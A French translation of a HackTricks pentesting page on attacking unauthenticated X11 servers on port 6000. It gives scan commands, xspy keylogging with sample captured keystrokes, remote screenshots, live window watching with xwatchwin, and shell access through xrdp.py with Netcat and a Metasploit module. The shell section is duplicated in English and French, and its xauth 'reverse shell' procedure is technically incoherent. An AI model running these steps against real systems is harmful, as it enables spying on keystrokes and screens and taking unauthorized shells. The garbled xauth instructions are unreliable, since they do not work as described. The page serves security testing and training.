hacktricks/network-services-pentesting/6000-pentesting-x11.md

14 KiB
Raw Blame History

6000 - Pentesting X11

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes !

Perspectives de piratage
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage

Actualités de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Informations de base

Le système X Window (alias X) est un système de fenêtrage pour les affichages bitmap, qui est courant sur les systèmes d'exploitation basés sur UNIX. X fournit le cadre de base pour un environnement basé sur une interface graphique (GUI). X ne spécifie pas non plus l'interface utilisateur - chaque programme gère cela.
Source : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

Port par défaut : 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Énumération

Vérifiez la connexion anonyme :

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Énumération locale

Le fichier .Xauthority dans le dossier personnel de l'utilisateur est utilisé par X11 pour l'autorisation. D'après ici:

MIT-magic-cookie-1: Génération de 128 bits de clé ("cookie"), stockage dans ~/.Xauthority (ou là où la variable d'environnement XAUTHORITY pointe). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce "cookie" et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.

{% hint style="warning" %} Pour utiliser le cookie, vous devez définir la variable d'environnement : export XAUTHORITY=/chemin/vers/.Xauthority {% endhint %}

Vérification de la connexion

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy pour intercepter les frappes du clavier.

Exemple de sortie :

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Capture d'écran

Lors de la réalisation d'un test de pénétration sur un serveur X11, il peut être utile de capturer des captures d'écran pour documenter les vulnérabilités découvertes. Les captures d'écran peuvent également être utilisées pour illustrer les résultats du test de manière visuelle.

Pour capturer des captures d'écran sur un serveur X11, vous pouvez utiliser l'outil xwd. Cet outil est généralement inclus dans les distributions Linux.

Pour capturer une capture d'écran, ouvrez un terminal et exécutez la commande suivante :

xwd -root -out screenshot.xwd

Cette commande capturera une capture d'écran de l'affichage racine du serveur X11 et l'enregistrera dans un fichier appelé screenshot.xwd.

Une fois que vous avez capturé la capture d'écran, vous pouvez la visualiser en utilisant l'outil xwud. Pour afficher la capture d'écran, exécutez la commande suivante :

xwud -in screenshot.xwd

Cette commande ouvrira une fenêtre affichant la capture d'écran capturée.

Il est important de noter que la capture d'écran peut contenir des informations sensibles, telles que des mots de passe ou des données confidentielles. Assurez-vous de traiter les captures d'écran avec précaution et de les supprimer une fois qu'elles ne sont plus nécessaires.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Affichage du bureau à distance

Source : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Voici comment trouver l'ID de la fenêtre en utilisant xwininfo.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Pour visualiser en direct, nous devons utiliser

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obtenir un Shell

To get a shell on a target machine, you can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.

Pour obtenir un shell sur une machine cible, vous pouvez exploiter les vulnérabilités du serveur X11. Le serveur X11 est responsable de la gestion des interfaces utilisateur graphiques sur les systèmes d'exploitation de type Unix.

X11 Forwarding

X11 Forwarding is a feature that allows you to run graphical applications on a remote machine and display them on your local machine. By enabling X11 Forwarding, the remote machine can send the graphical output to your local machine.

La redirection X11 est une fonctionnalité qui vous permet d'exécuter des applications graphiques sur une machine distante et de les afficher sur votre machine locale. En activant la redirection X11, la machine distante peut envoyer la sortie graphique vers votre machine locale.

To enable X11 Forwarding, you need to set the DISPLAY environment variable to the IP address of your local machine followed by :0.0. For example:

Pour activer la redirection X11, vous devez définir la variable d'environnement DISPLAY sur l'adresse IP de votre machine locale suivie de :0.0. Par exemple :

export DISPLAY=192.168.0.100:0.0

X11 Reverse Shell

To get a reverse shell using X11, you can exploit the xauth command. The xauth command is used to edit and display the authorization information used in connecting to the X server.

Pour obtenir un shell inversé en utilisant X11, vous pouvez exploiter la commande xauth. La commande xauth est utilisée pour modifier et afficher les informations d'autorisation utilisées pour se connecter au serveur X.

First, you need to generate a new X11 authentication cookie using the following command:

Tout d'abord, vous devez générer un nouveau cookie d'authentification X11 à l'aide de la commande suivante :

xauth generate :1 . trusted

Next, you can use the xauth command to extract the generated cookie and send it to your local machine:

Ensuite, vous pouvez utiliser la commande xauth pour extraire le cookie généré et l'envoyer à votre machine locale :

xauth extract - :1 | base64

On your local machine, you can decode the received cookie using the following command:

Sur votre machine locale, vous pouvez décoder le cookie reçu à l'aide de la commande suivante :

echo <base64_encoded_cookie> | base64 -d

Finally, you can use the extracted cookie to connect to the target machine and get a reverse shell:

Enfin, vous pouvez utiliser le cookie extrait pour vous connecter à la machine cible et obtenir un shell inversé :

export DISPLAY=<target_ip>:1
xauth add <extracted_cookie>
xterm &

This will open an Xterm window on your local machine, which is actually running on the target machine. You can now execute commands in the Xterm window, and the output will be displayed on your local machine.

Cela ouvrira une fenêtre Xterm sur votre machine locale, qui s'exécute en réalité sur la machine cible. Vous pouvez maintenant exécuter des commandes dans la fenêtre Xterm et la sortie sera affichée sur votre machine locale.

msf> use exploit/unix/x11/x11_keyboard_exec

Autre méthode:

Reverse Shell: Xrdp permet également de prendre un reverse shell via Netcat. Tapez la commande suivante:

./xrdp.py <IP:0> no-disp

Une nouvelle fenêtre de contrôle s'affiche où nous pouvons voir l'option R-shell, comme illustré ci-dessous:

Nous allons démarrer le mode d'écoute de Netcat sur notre système local sur le port 5555, comme illustré ci-dessous:

Ensuite, ajoutez l'adresse IP et le port, puis sélectionnez R-Shell, comme illustré ci-dessous:

Maintenant, comme on peut le voir ci-dessous, nous avons un accès complet au système:

{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}

Shodan

  • port:6000 x11

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes!

Perspectives de piratage
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage

Actualités de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥